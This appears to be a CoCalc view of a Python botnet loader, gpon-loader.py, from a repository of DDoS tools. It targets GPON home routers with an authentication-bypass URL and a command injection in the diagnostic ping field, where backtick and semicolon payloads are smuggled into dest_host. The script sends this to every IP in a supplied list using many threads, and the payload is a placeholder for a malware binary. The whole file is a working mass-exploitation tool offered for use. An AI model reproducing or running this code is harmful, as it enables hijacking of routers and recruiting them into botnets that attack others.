Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/Botnets/Exploits/GPON/gpon-loader.py
5038 views
1
#!/usr/bin/env python
2
#By: Choudai;
3
import sys, requests, time, ssl, threading
4
5
6
ctx = ssl.create_default_context()
7
ctx.check_hostname = False
8
ctx.verify_mode = ssl.CERT_NONE
9
payload = '' #Binary
10
exploit = 'XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`' + payload + '`;' + payload + '&ipv=0'
11
ips = open(sys.argv[1], 'r').readlines()
12
13
14
class gpon(threading.Thread):
15
def __init__ (self, ip):
16
threading.Thread.__init__(self)
17
self.ip = str(ip).rstrip('\n')
18
19
def run(self):
20
try:
21
bypass = 'http://' + self.ip + '/GponForm/diag_Form?images/'
22
req = requests.Request('POST', bypass, data=exploit)
23
prepared = req.prepare()
24
s = requests.Session()
25
s.send(prepared)
26
except:
27
pass
28
29
30
for ip in ips:
31
try:
32
g = gpon(ip)
33
g.start()
34
time.sleep(0.1)
35
except:
36
pass
37
38